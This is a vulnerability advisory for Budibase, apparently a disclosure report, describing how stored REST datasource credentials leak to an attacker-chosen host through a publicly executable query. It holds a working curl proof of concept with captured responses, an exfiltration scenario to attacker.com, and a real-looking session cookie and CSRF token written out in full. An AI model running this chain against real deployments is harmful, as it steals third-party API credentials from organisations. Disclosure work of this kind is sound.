Budibase: Unauthenticated REST Datasource Credential Theft via Cross-Origin Auth Leak
Budibase attaches a REST datasource's stored credentials (Bearer/Basic tokens and static headers) to an outgoing request before it decides which host the request goes to, and never checks that the destination host matches the datasource. A query's request path can be pointed at any host (via an absolute URL or a user-supplied {{ parameter }}), so the stored credentials are delivered to an attacker-chosen server. Because a query can be published with the PUBLIC role, this is reachable by a fully unauthenticated attacker with one HTTP request. The credentials are masked (--secret-value--) everywhere in the API, yet this recovers them in cleartext. This is a bypass of GHSA-3gp5 (which fixed the base-URL rewrite vector but added no same-origin check; the query-path vector remains, now unauthenticated).
packages/server/src/integrations/rest.ts: _req() builds authHeaders = getAuthHeaders(...) from the stored auth configs and merges them with config.defaultHeaders into every request, before the URL is resolved. getUrl(): if the (parameter-enriched) query path starts with http, the datasource base URL is ignored and path becomes the absolute request URL. There is no comparison between the resolved request host and the datasource base host before the credentials are attached. The execute route POST /api/v2/queries/:queryId runs under authorized(QUERY, WRITE); a query published at role PUBLIC is executable with no session.
POC
Line 1:
DSID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/datasources" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"poc-rest","source":"REST","type":"datasource","config":{"url":"https://example.org","authConfigs":[{"_id":"ac1","name":"tok","type":"bearer","config":{"token":"UNAUTH_LEAK_TOKEN_5150"}}],"defaultHeaders":{"X-Static-Secret":"STATIC_HDR_LEAK_4242"}}},"fetchSchema":false,"tablesFilter":[]}' | python3 -c "import sys,json;print(json.load(sys.stdin)['datasource']['_id'])"); echo "datasource=$DSID"
RESPONSE
datasource=datasource_9938805b2d0348a4a4f28dc9d1c97f19
Line 2:
QID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/queries" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d "{\"datasourceId\":\"$DSID\",\"name\":\"pocq\",\"parameters\":[{\"name\":\"t\",\"default\":\"\"}],\"fields\":{\"path\":\"{{ t }}\",\"bodyType\":\"none\",\"authConfigId\":\"ac1\",\"authConfigType\":\"bearer\"},\"queryVerb\":\"read\",\"transformer\":\"return data\",\"schema\":{},\"readable\":true}" | python3 -c "import sys,json;print(json.load(sys.stdin)['_id'])"); echo "query=$QID"
RESPONSE
query=query_datasource_9938805b2d0348a4a4f28dc9d1c97f19_7727920d8ccb4708a495eafb5a1351a7
Line 3:
curl -s -X POST "https://hasinocompany.budibase.app/api/permission/PUBLIC/$QID/write" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; curl -s -X POST "https://hasinocompany.budibase.app/api/permission/PUBLIC/$QID/read" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; curl -s -X POST "https://hasinocompany.budibase.app/api/applications/app_dev_hasinocompany_bcb6316e0d014f91939c812389012415/publish" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; echo published
RESPONSE
published
Line 4 — THE BUG (anonymous, no cookie — this prints the leaked Bearer UNAUTH_LEAK_TOKEN_5150):
curl -s -X POST "https://hasinocompany.budibase.app/api/v2/queries/$QID" -H "x-budibase-app-id: app_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"parameters":{"t":"https://postman-echo.com/get"}}'
RESPONSE
{"data":[{"args":{},"headers":{"host":"postman-echo.com","accept":"/","accept-language":"*","accept-encoding":"gzip, br","user-agent":"undici","sec-fetch-mode":"cors","x-static-secret":"STATIC_HDR_LEAK_4242","authorization":"Bearer UNAUTH_LEAK_TOKEN_5150","x-datadog-trace-id":"3035031720617373998","x-datadog-parent-id":"5509262114738533737","x-datadog-sampling-priority":"0","x-datadog-tags":"_dd.p.tid=6a56b19a00000000,_dd.p.llmobs_ml_app=app-service","traceparent":"00-6a56b19a000000002a1e99450570f12e-4c74d4b43b81f569-00","tracestate":"dd=t.tid:6a56b19a00000000;t.dm:-1;s:0;p:4c74d4b43b81f569","x-forwarded-proto":"https"},"url":"https://postman-echo.com/get"}],"pagination":{},"headers":{"cf-cache-status":"DYNAMIC","cf-ray":"a1b3cda318a3f0e7-DUB","content-encoding":"gzip","content-type":"application/json; charset=utf-8","date":"Tue, 14 Jul 2026 22:00:58 GMT","etag":"W/"292-YpfNwvZmX1jVU7GPgCQX7hoZtMw"","server":"cloudflare","set-cookie":"_cfuvid=lJDfxAv0j6gmoaOpkyXVKpYK0yYSlYwgBjSHcA.rn.0-1784066458.0972874-1.0.1.1-q7WOtNlMsl5YmqkV34ms7hdy4oi1sw17X9IguTaJOKE; HttpOnly; SameSite=None; Secure; Path=/; Domain=postman-echo.com","vary":"Accept-Encoding","x-envoy-upstream-service-time":"4"},"code":200,"size":"658B","time":"139ms"}
The anonymous request returns HTTP 200; the outbound headers echoed by postman-echo.com contain the datasource's stored, otherwise-masked credentials:
{"data":[{"headers":{"host":"postman-echo.com","x-static-secret":"STATIC_HDR_LEAK_4242","authorization":"Bearer UNAUTH_LEAK_TOKEN_5150"}}]}
authorization: Bearer UNAUTH_LEAK_TOKEN_5150 and x-static-secret: STATIC_HDR_LEAK_4242 were delivered to a host chosen by a fully anonymous caller. Confirmed 3/3 separate runs.
1. A builder has a REST datasource with stored auth (Bearer/API key) and a query
whose path uses a parameter, published at PUBLIC (customer-facing app).
2. The attacker needs no account. They read the published app id + query id from
the published app, then send ONE request:
POST /api/v2/queries/<queryId>
x-budibase-app-id: <prodAppId>
{"parameters":{"t":"https://attacker.com/collect"}}
3. Budibase attaches Authorization: Bearer <token> and sends it to attacker.com.
4. attacker.com logs the header => the datasource's secret token.
5. The attacker calls the third-party API directly as the victim organisation.
| Who / what is affected | How |
|---|---|
| Every REST datasource with stored auth used by a PUBLIC query | Its Bearer/Basic token + static headers are exfiltrated |
| The third-party service behind that datasource | Attacker uses the stolen token directly (data theft / abuse) |
| Unauthenticated attackers | One request, no login, no CSRF, no user interaction |
| The credential-masking control | Fully defeated - masked secrets recovered in cleartext |
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(기본값(정보 없음)) | 55.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 55.00 |
VPI 공식 vpi-v1 기준